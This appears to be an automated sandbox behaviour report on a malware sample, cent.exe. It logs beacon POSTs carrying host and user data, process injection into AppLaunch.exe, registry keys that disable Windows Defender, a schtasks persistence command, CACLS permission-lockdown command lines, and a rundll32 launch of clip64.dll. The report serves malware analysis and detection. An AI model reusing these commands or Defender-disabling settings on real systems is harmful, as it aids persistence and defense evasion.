HttpSendRequestA Feb. 19, 2023, 2:02 p.m.	headers: Content-Type: application/x-www-form-urlencoded request_handle: 0x00cc000c post_data: id=832866432405&vs=3.66&sd=c7de6f&os=9&bi=1&ar=1&pc=TEST22-PC&un=test22&dm=&av=0&lv=0&og=1	1	1
HttpSendRequestA Feb. 19, 2023, 2:02 p.m.	headers: Content-Type: application/x-www-form-urlencoded request_handle: 0x00cc000c post_data: id=832866432405&vs=3.66&sd=c7de6f&os=9&bi=1&ar=1&pc=TEST22-PC&un=test22&dm=&av=0&lv=0&og=1	1	1
HttpSendRequestA Feb. 19, 2023, 2:02 p.m.	headers: Content-Type: application/x-www-form-urlencoded request_handle: 0x00cc000c post_data: id=832866432405&vs=3.66&sd=c7de6f&os=9&bi=1&ar=1&pc=TEST22-PC&un=test22&dm=&av=0&lv=0&og=1	1	1
HttpSendRequestA Feb. 19, 2023, 2:02 p.m.	headers: Content-Type: application/x-www-form-urlencoded request_handle: 0x00cc000c post_data: id=832866432405&vs=3.66&sd=c7de6f&os=9&bi=1&ar=1&pc=TEST22-PC&un=test22&dm=&av=0&lv=0&og=1	1	1
HttpSendRequestA Feb. 19, 2023, 2:02 p.m.	headers: Content-Type: application/x-www-form-urlencoded request_handle: 0x00cc000c post_data: id=832866432405&vs=3.66&sd=c7de6f&os=9&bi=1&ar=1&pc=TEST22-PC&un=test22&dm=&av=0&lv=0&og=1	1	1
HttpSendRequestA Feb. 19, 2023, 2:02 p.m.	headers: Content-Type: application/x-www-form-urlencoded request_handle: 0x00cc000c post_data: id=832866432405&vs=3.66&sd=c7de6f&os=9&bi=1&ar=1&pc=TEST22-PC&un=test22&dm=&av=0&lv=0&og=1	1	1
HttpSendRequestA Feb. 19, 2023, 2:02 p.m.	headers: Content-Type: application/x-www-form-urlencoded request_handle: 0x00cc000c post_data: id=832866432405&vs=3.66&sd=c7de6f&os=9&bi=1&ar=1&pc=TEST22-PC&un=test22&dm=&av=0&lv=0&og=1	1	1
HttpSendRequestA Feb. 19, 2023, 2:02 p.m.	headers: Content-Type: application/x-www-form-urlencoded request_handle: 0x00cc000c post_data: id=832866432405&vs=3.66&sd=c7de6f&os=9&bi=1&ar=1&pc=TEST22-PC&un=test22&dm=&av=0&lv=0&og=1	1	1
HttpSendRequestA Feb. 19, 2023, 2:02 p.m.	headers: Content-Type: application/x-www-form-urlencoded request_handle: 0x00cc000c post_data: id=832866432405&vs=3.66&sd=c7de6f&os=9&bi=1&ar=1&pc=TEST22-PC&un=test22&dm=&av=0&lv=0&og=1	1	1
HttpSendRequestA Feb. 19, 2023, 2:02 p.m.	headers: Content-Type: application/x-www-form-urlencoded request_handle: 0x00cc000c post_data: id=832866432405&vs=3.66&sd=c7de6f&os=9&bi=1&ar=1&pc=TEST22-PC&un=test22&dm=&av=0&lv=0&og=1	1	1
HttpSendRequestA Feb. 19, 2023, 2:02 p.m.	headers: Content-Type: application/x-www-form-urlencoded request_handle: 0x00cc000c post_data: id=832866432405&vs=3.66&sd=c7de6f&os=9&bi=1&ar=1&pc=TEST22-PC&un=test22&dm=&av=0&lv=0&og=1	1	1
HttpSendRequestA Feb. 19, 2023, 2:02 p.m.	headers: Content-Type: application/x-www-form-urlencoded request_handle: 0x00cc000c post_data: id=832866432405&vs=3.66&sd=c7de6f&os=9&bi=1&ar=1&pc=TEST22-PC&un=test22&dm=&av=0&lv=0&og=1	1	1
HttpSendRequestA Feb. 19, 2023, 2:02 p.m.	headers: Content-Type: application/x-www-form-urlencoded request_handle: 0x00cc000c post_data: id=832866432405&vs=3.66&sd=c7de6f&os=9&bi=1&ar=1&pc=TEST22-PC&un=test22&dm=&av=0&lv=0&og=1	1	1
HttpSendRequestA Feb. 19, 2023, 2:02 p.m.	headers: Content-Type: application/x-www-form-urlencoded request_handle: 0x00cc000c post_data: id=832866432405&vs=3.66&sd=c7de6f&os=9&bi=1&ar=1&pc=TEST22-PC&un=test22&dm=&av=0&lv=0&og=1	1	1

Resumed a suspended thread in a remote process potentially indicative of process injection (4 events)

Time & API	Arguments	Status	Return	Repeated
Process injection	Process 2984 resumed a thread in remote process 3044
Process injection	Process 2732 resumed a thread in remote process 2976
NtResumeThread Feb. 19, 2023, 2:02 p.m.	thread_handle: 0x00000020 suspend_count: 1 process_identifier: 3044	1	0	0
NtResumeThread Feb. 19, 2023, 2:02 p.m.	thread_handle: 0x0000027c suspend_count: 1 process_identifier: 2976	1	0	0

Uses suspicious command line tools or Windows utilities (12 events)

cmdline	cmd /k echo Y\|CACLS "mnolyk.exe" /P "test22:N"&&CACLS "mnolyk.exe" /P "test22:R" /E&&echo Y\|CACLS "..\4f9dd6f8a7" /P "test22:N"&&CACLS "..\4f9dd6f8a7" /P "test22:R" /E&&Exit
cmdline	"C:\Windows\System32\cmd.exe" /k echo Y\|CACLS "nbveek.exe" /P "test22:N"&&CACLS "nbveek.exe" /P "test22:R" /E&&echo Y\|CACLS "..\9e0894bcc4" /P "test22:N"&&CACLS "..\9e0894bcc4" /P "test22:R" /E&&Exit
cmdline	CACLS "nbveek.exe" /P "test22:R" /E
cmdline	CACLS "mnolyk.exe" /P "test22:N"
cmdline	CACLS "..\4f9dd6f8a7" /P "test22:N"
cmdline	CACLS "..\9e0894bcc4" /P "test22:N"
cmdline	CACLS "..\9e0894bcc4" /P "test22:R" /E
cmdline	CACLS "nbveek.exe" /P "test22:N"
cmdline	CACLS "..\4f9dd6f8a7" /P "test22:R" /E
cmdline	"C:\Windows\System32\cmd.exe" /k echo Y\|CACLS "mnolyk.exe" /P "test22:N"&&CACLS "mnolyk.exe" /P "test22:R" /E&&echo Y\|CACLS "..\4f9dd6f8a7" /P "test22:N"&&CACLS "..\4f9dd6f8a7" /P "test22:R" /E&&Exit
cmdline	CACLS "mnolyk.exe" /P "test22:R" /E
cmdline	cmd /k echo Y\|CACLS "nbveek.exe" /P "test22:N"&&CACLS "nbveek.exe" /P "test22:R" /E&&echo Y\|CACLS "..\9e0894bcc4" /P "test22:N"&&CACLS "..\9e0894bcc4" /P "test22:R" /E&&Exit

Disables Windows Security features (6 events)

description	attempts to modify windows defender policies	registry	HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableOnAccessProtection
description	attempts to modify windows defender policies	registry	HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableScanOnRealtimeEnable
description	attempts to modify windows defender policies	registry	HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring
description	attempts to modify windows defender policies	registry	HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\DisableAntiSpyware
description	attempts to modify windows defender policies	registry	HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableBehaviorMonitoring
description	attempts to modify windows defender policies	registry	HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableIOAVProtection

Executed a process and injected code into it, probably while unpacking (50 out of 126 events)

Time & API	Arguments	Status	Return
CreateProcessInternalW Feb. 19, 2023, 2:01 p.m.	thread_identifier: 2052 thread_handle: 0x0000001c process_identifier: 2032 current_directory: filepath: track: 1 command_line: C:\Users\test22\AppData\Local\Temp\IXP000.TMP\sLP46se.exe filepath_r: stack_pivoted: 0 creation_flags: 524320 (EXTENDED_STARTUPINFO_PRESENT\|NORMAL_PRIORITY_CLASS) inherit_handles: 0 process_handle: 0x00000128	1	1
CreateProcessInternalW Feb. 19, 2023, 2:02 p.m.	thread_identifier: 2124 thread_handle: 0x00000128 process_identifier: 2120 current_directory: filepath: track: 1 command_line: C:\Users\test22\AppData\Local\Temp\IXP000.TMP\rtJ58hE.exe filepath_r: stack_pivoted: 0 creation_flags: 524320 (EXTENDED_STARTUPINFO_PRESENT\|NORMAL_PRIORITY_CLASS) inherit_handles: 0 process_handle: 0x0000001c	1	1
CreateProcessInternalW Feb. 19, 2023, 2:01 p.m.	thread_identifier: 2096 thread_handle: 0x0000001c process_identifier: 2092 current_directory: filepath: track: 1 command_line: C:\Users\test22\AppData\Local\Temp\IXP001.TMP\slV42BL.exe filepath_r: stack_pivoted: 0 creation_flags: 524320 (EXTENDED_STARTUPINFO_PRESENT\|NORMAL_PRIORITY_CLASS) inherit_handles: 0 process_handle: 0x00000128	1	1
CreateProcessInternalW Feb. 19, 2023, 2:02 p.m.	thread_identifier: 2988 thread_handle: 0x00000128 process_identifier: 2984 current_directory: filepath: track: 1 command_line: C:\Users\test22\AppData\Local\Temp\IXP001.TMP\nJM68XE.exe filepath_r: stack_pivoted: 0 creation_flags: 524320 (EXTENDED_STARTUPINFO_PRESENT\|NORMAL_PRIORITY_CLASS) inherit_handles: 0 process_handle: 0x0000001c	1	1
CreateProcessInternalW Feb. 19, 2023, 2:01 p.m.	thread_identifier: 2180 thread_handle: 0x0000001c process_identifier: 2176 current_directory: filepath: track: 1 command_line: C:\Users\test22\AppData\Local\Temp\IXP002.TMP\sCf07ZB.exe filepath_r: stack_pivoted: 0 creation_flags: 524320 (EXTENDED_STARTUPINFO_PRESENT\|NORMAL_PRIORITY_CLASS) inherit_handles: 0 process_handle: 0x00000128	1	1
CreateProcessInternalW Feb. 19, 2023, 2:01 p.m.	thread_identifier: 2732 thread_handle: 0x00000128 process_identifier: 2728 current_directory: filepath: track: 1 command_line: C:\Users\test22\AppData\Local\Temp\IXP002.TMP\leW63TH.exe filepath_r: stack_pivoted: 0 creation_flags: 524320 (EXTENDED_STARTUPINFO_PRESENT\|NORMAL_PRIORITY_CLASS) inherit_handles: 0 process_handle: 0x0000001c	1	1
CreateProcessInternalW Feb. 19, 2023, 2:01 p.m.	thread_identifier: 2232 thread_handle: 0x0000001c process_identifier: 2228 current_directory: filepath: track: 1 command_line: C:\Users\test22\AppData\Local\Temp\IXP003.TMP\iWr34lU.exe filepath_r: stack_pivoted: 0 creation_flags: 524320 (EXTENDED_STARTUPINFO_PRESENT\|NORMAL_PRIORITY_CLASS) inherit_handles: 0 process_handle: 0x00000128	1	1
CreateProcessInternalW Feb. 19, 2023, 2:01 p.m.	thread_identifier: 2688 thread_handle: 0x00000128 process_identifier: 2684 current_directory: filepath: track: 1 command_line: C:\Users\test22\AppData\Local\Temp\IXP003.TMP\kQu23BE.exe filepath_r: stack_pivoted: 0 creation_flags: 524320 (EXTENDED_STARTUPINFO_PRESENT\|NORMAL_PRIORITY_CLASS) inherit_handles: 0 process_handle: 0x0000001c	1	1
NtResumeThread Feb. 19, 2023, 2:01 p.m.	thread_handle: 0x000000000000012c suspend_count: 1 process_identifier: 2228	1	0
NtResumeThread Feb. 19, 2023, 2:01 p.m.	thread_handle: 0x00000000000001a0 suspend_count: 1 process_identifier: 2228	1	0
NtResumeThread Feb. 19, 2023, 2:01 p.m.	thread_handle: 0x00000000000001e4 suspend_count: 1 process_identifier: 2228	1	0
NtResumeThread Feb. 19, 2023, 2:01 p.m.	thread_handle: 0x00000188 suspend_count: 1 process_identifier: 2728	1	0
NtResumeThread Feb. 19, 2023, 2:01 p.m.	thread_handle: 0x000001fc suspend_count: 1 process_identifier: 2728	1	0
NtResumeThread Feb. 19, 2023, 2:01 p.m.	thread_handle: 0x00000244 suspend_count: 1 process_identifier: 2728	1	0
NtResumeThread Feb. 19, 2023, 2:01 p.m.	thread_handle: 0x000002f8 suspend_count: 1 process_identifier: 2728	1	0
NtGetContextThread Feb. 19, 2023, 2:01 p.m.	thread_handle: 0x0000018c	1	0
NtGetContextThread Feb. 19, 2023, 2:01 p.m.	thread_handle: 0x0000018c	1	0
NtResumeThread Feb. 19, 2023, 2:01 p.m.	thread_handle: 0x0000018c suspend_count: 1 process_identifier: 2728	1	0
CreateProcessInternalW Feb. 19, 2023, 2:02 p.m.	thread_identifier: 3048 thread_handle: 0x00000020 process_identifier: 3044 current_directory: filepath: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe track: 1 command_line: filepath_r: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe stack_pivoted: 0 creation_flags: 4 (CREATE_SUSPENDED) inherit_handles: 0 process_handle: 0x0000002c	1	1
NtGetContextThread Feb. 19, 2023, 2:02 p.m.	thread_handle: 0x00000020	1	0
NtAllocateVirtualMemory Feb. 19, 2023, 2:02 p.m.	process_identifier: 3044 region_size: 204800 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00400000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x0000002c	1	0
WriteProcessMemory Feb. 19, 2023, 2:02 p.m.	buffer: base_address: 0x00400000 process_identifier: 3044 process_handle: 0x0000002c	1	1
WriteProcessMemory Feb. 19, 2023, 2:02 p.m.	buffer: @ base_address: 0xfffde008 process_identifier: 3044 process_handle: 0x0000002c	1	1
NtSetContextThread Feb. 19, 2023, 2:02 p.m.	registers.eip: 2005598660 registers.esp: 1834392 registers.edi: 0 registers.eax: 4306318 registers.ebp: 0 registers.edx: 0 registers.ebx: -139264 registers.esi: 0 registers.ecx: 0 thread_handle: 0x00000020 process_identifier: 3044	1	0
NtResumeThread Feb. 19, 2023, 2:02 p.m.	thread_handle: 0x00000020 suspend_count: 1 process_identifier: 3044	1	0
NtResumeThread Feb. 19, 2023, 2:02 p.m.	thread_handle: 0x00000188 suspend_count: 1 process_identifier: 3044	1	0
NtResumeThread Feb. 19, 2023, 2:02 p.m.	thread_handle: 0x000001fc suspend_count: 1 process_identifier: 3044	1	0
NtResumeThread Feb. 19, 2023, 2:02 p.m.	thread_handle: 0x00000228 suspend_count: 1 process_identifier: 3044	1	0
NtResumeThread Feb. 19, 2023, 2:02 p.m.	thread_handle: 0x00000394 suspend_count: 1 process_identifier: 3044	1	0
NtGetContextThread Feb. 19, 2023, 2:02 p.m.	thread_handle: 0x0000018c	1	0
NtGetContextThread Feb. 19, 2023, 2:02 p.m.	thread_handle: 0x0000018c	1	0
NtResumeThread Feb. 19, 2023, 2:02 p.m.	thread_handle: 0x0000018c suspend_count: 1 process_identifier: 3044	1	0
CreateProcessInternalW Feb. 19, 2023, 2:02 p.m.	thread_identifier: 2260 thread_handle: 0x000002b4 process_identifier: 2256 current_directory: C:\Users\test22\AppData\Local\Temp\IXP000.TMP filepath: C:\Users\test22\AppData\Local\Temp\4f9dd6f8a7\mnolyk.exe track: 1 command_line: "C:\Users\test22\AppData\Local\Temp\4f9dd6f8a7\mnolyk.exe" filepath_r: C:\Users\test22\AppData\Local\Temp\4f9dd6f8a7\mnolyk.exe stack_pivoted: 0 creation_flags: 67634192 (CREATE_DEFAULT_ERROR_MODE\|CREATE_NEW_CONSOLE\|CREATE_UNICODE_ENVIRONMENT\|EXTENDED_STARTUPINFO_PRESENT) inherit_handles: 0 process_handle: 0x000002bc	1	1
NtResumeThread Feb. 19, 2023, 2:02 p.m.	thread_handle: 0x0000027c suspend_count: 1 process_identifier: 2256	1	0
CreateProcessInternalW Feb. 19, 2023, 2:02 p.m.	thread_identifier: 1156 thread_handle: 0x000002a0 process_identifier: 296 current_directory: C:\Users\test22\AppData\Local\Temp\IXP000.TMP filepath: C:\Windows\System32\schtasks.exe track: 1 command_line: "C:\Windows\System32\schtasks.exe" /Create /SC MINUTE /MO 1 /TN mnolyk.exe /TR "C:\Users\test22\AppData\Local\Temp\4f9dd6f8a7\mnolyk.exe" /F filepath_r: C:\Windows\System32\schtasks.exe stack_pivoted: 0 creation_flags: 67634192 (CREATE_DEFAULT_ERROR_MODE\|CREATE_NEW_CONSOLE\|CREATE_UNICODE_ENVIRONMENT\|EXTENDED_STARTUPINFO_PRESENT) inherit_handles: 0 process_handle: 0x000002a8	1	1
CreateProcessInternalW Feb. 19, 2023, 2:02 p.m.	thread_identifier: 2608 thread_handle: 0x00000228 process_identifier: 2596 current_directory: C:\Users\test22\AppData\Local\Temp\4f9dd6f8a7 filepath: C:\Windows\System32\cmd.exe track: 1 command_line: "C:\Windows\System32\cmd.exe" /k echo Y\|CACLS "mnolyk.exe" /P "test22:N"&&CACLS "mnolyk.exe" /P "test22:R" /E&&echo Y\|CACLS "..\4f9dd6f8a7" /P "test22:N"&&CACLS "..\4f9dd6f8a7" /P "test22:R" /E&&Exit filepath_r: C:\Windows\System32\cmd.exe stack_pivoted: 0 creation_flags: 67634192 (CREATE_DEFAULT_ERROR_MODE\|CREATE_NEW_CONSOLE\|CREATE_UNICODE_ENVIRONMENT\|EXTENDED_STARTUPINFO_PRESENT) inherit_handles: 0 process_handle: 0x00000294	1	1
CreateProcessInternalW Feb. 19, 2023, 2:02 p.m.	thread_identifier: 3040 thread_handle: 0x000003f4 process_identifier: 3020 current_directory: C:\Users\test22\AppData\Local\Temp\4f9dd6f8a7 filepath: C:\Users\test22\AppData\Local\Temp\1000003051\truno.exe track: 1 command_line: "C:\Users\test22\AppData\Local\Temp\1000003051\truno.exe" filepath_r: C:\Users\test22\AppData\Local\Temp\1000003051\truno.exe stack_pivoted: 0 creation_flags: 67634192 (CREATE_DEFAULT_ERROR_MODE\|CREATE_NEW_CONSOLE\|CREATE_UNICODE_ENVIRONMENT\|EXTENDED_STARTUPINFO_PRESENT) inherit_handles: 0 process_handle: 0x00000420	1	1
CreateProcessInternalW Feb. 19, 2023, 2:02 p.m.	thread_identifier: 2648 thread_handle: 0x00000408 process_identifier: 2664 current_directory: C:\Users\test22\AppData\Local\Temp\4f9dd6f8a7 filepath: C:\Users\test22\AppData\Local\Temp\1000004001\lebro.exe track: 1 command_line: "C:\Users\test22\AppData\Local\Temp\1000004001\lebro.exe" filepath_r: C:\Users\test22\AppData\Local\Temp\1000004001\lebro.exe stack_pivoted: 0 creation_flags: 67634192 (CREATE_DEFAULT_ERROR_MODE\|CREATE_NEW_CONSOLE\|CREATE_UNICODE_ENVIRONMENT\|EXTENDED_STARTUPINFO_PRESENT) inherit_handles: 0 process_handle: 0x0000042c	1	1
CreateProcessInternalW Feb. 19, 2023, 2:03 p.m.	thread_identifier: 3692 thread_handle: 0x00000440 process_identifier: 3688 current_directory: C:\Users\test22\AppData\Local\Temp\4f9dd6f8a7 filepath: C:\Windows\System32\rundll32.exe track: 1 command_line: "C:\Windows\System32\rundll32.exe" C:\Users\test22\AppData\Roaming\006700e5a2ab05\clip64.dll, Main filepath_r: C:\Windows\System32\rundll32.exe stack_pivoted: 0 creation_flags: 67634192 (CREATE_DEFAULT_ERROR_MODE\|CREATE_NEW_CONSOLE\|CREATE_UNICODE_ENVIRONMENT\|EXTENDED_STARTUPINFO_PRESENT) inherit_handles: 0 process_handle: 0x00000458	1	1
CreateProcessInternalW Feb. 19, 2023, 2:02 p.m.	thread_identifier: 2180 thread_handle: 0x00000140 process_identifier: 2224 current_directory: C:\Users\test22\AppData\Local\Temp\4f9dd6f8a7 filepath: C:\Windows\System32\cmd.exe track: 1 command_line: C:\Windows\system32\cmd.exe /S /D /c" echo Y" filepath_r: C:\Windows\system32\cmd.exe stack_pivoted: 0 creation_flags: 524288 (EXTENDED_STARTUPINFO_PRESENT) inherit_handles: 1 process_handle: 0x00000148	1	1
CreateProcessInternalW Feb. 19, 2023, 2:02 p.m.	thread_identifier: 1692 thread_handle: 0x0000013c process_identifier: 524 current_directory: C:\Users\test22\AppData\Local\Temp\4f9dd6f8a7 filepath: C:\Windows\System32\cacls.exe track: 1 command_line: CACLS "mnolyk.exe" /P "test22:N" filepath_r: C:\Windows\system32\cacls.exe stack_pivoted: 0 creation_flags: 524288 (EXTENDED_STARTUPINFO_PRESENT) inherit_handles: 1 process_handle: 0x00000140	1	1
CreateProcessInternalW Feb. 19, 2023, 2:02 p.m.	thread_identifier: 2660 thread_handle: 0x00000140 process_identifier: 2672 current_directory: C:\Users\test22\AppData\Local\Temp\4f9dd6f8a7 filepath: C:\Windows\System32\cacls.exe track: 1 command_line: CACLS "mnolyk.exe" /P "test22:R" /E filepath_r: C:\Windows\system32\cacls.exe stack_pivoted: 0 creation_flags: 524288 (EXTENDED_STARTUPINFO_PRESENT) inherit_handles: 1 process_handle: 0x00000148	1	1
CreateProcessInternalW Feb. 19, 2023, 2:02 p.m.	thread_identifier: 2356 thread_handle: 0x00000140 process_identifier: 2852 current_directory: C:\Users\test22\AppData\Local\Temp\4f9dd6f8a7 filepath: C:\Windows\System32\cmd.exe track: 1 command_line: C:\Windows\system32\cmd.exe /S /D /c" echo Y" filepath_r: C:\Windows\system32\cmd.exe stack_pivoted: 0 creation_flags: 524288 (EXTENDED_STARTUPINFO_PRESENT) inherit_handles: 1 process_handle: 0x00000144	1	1
CreateProcessInternalW Feb. 19, 2023, 2:02 p.m.	thread_identifier: 2912 thread_handle: 0x00000148 process_identifier: 2924 current_directory: C:\Users\test22\AppData\Local\Temp\4f9dd6f8a7 filepath: C:\Windows\System32\cacls.exe track: 1 command_line: CACLS "..\4f9dd6f8a7" /P "test22:N" filepath_r: C:\Windows\system32\cacls.exe stack_pivoted: 0 creation_flags: 524288 (EXTENDED_STARTUPINFO_PRESENT) inherit_handles: 1 process_handle: 0x00000140	1	1
CreateProcessInternalW Feb. 19, 2023, 2:02 p.m.	thread_identifier: 2976 thread_handle: 0x00000140 process_identifier: 2972 current_directory: C:\Users\test22\AppData\Local\Temp\4f9dd6f8a7 filepath: C:\Windows\System32\cacls.exe track: 1 command_line: CACLS "..\4f9dd6f8a7" /P "test22:R" /E filepath_r: C:\Windows\system32\cacls.exe stack_pivoted: 0 creation_flags: 524288 (EXTENDED_STARTUPINFO_PRESENT) inherit_handles: 1 process_handle: 0x00000144	1	1
NtResumeThread Feb. 19, 2023, 2:02 p.m.	thread_handle: 0x0000016c suspend_count: 1 process_identifier: 524	1	0
NtResumeThread Feb. 19, 2023, 2:02 p.m.	thread_handle: 0x00000168 suspend_count: 1 process_identifier: 2672	1	0
NtResumeThread Feb. 19, 2023, 2:02 p.m.	thread_handle: 0x0000016c suspend_count: 1 process_identifier: 2924	1	0
NtResumeThread Feb. 19, 2023, 2:02 p.m.	thread_handle: 0x00000164 suspend_count: 1 process_identifier: 2972	1	0
CreateProcessInternalW Feb. 19, 2023, 2:02 p.m.	thread_identifier: 2312 thread_handle: 0x0000001c process_identifier: 508 current_directory: filepath: track: 1 command_line: C:\Users\test22\AppData\Local\Temp\IXP000.TMP\nXi14fa28.exe filepath_r: stack_pivoted: 0 creation_flags: 524320 (EXTENDED_STARTUPINFO_PRESENT\|NORMAL_PRIORITY_CLASS) inherit_handles: 0 process_handle: 0x00000128	1	1

cent.exe

Process Tree Toggle all

Network Toggle all

Suricata Toggle all

Suricata Alerts

Suricata TLS

Signatures Toggle All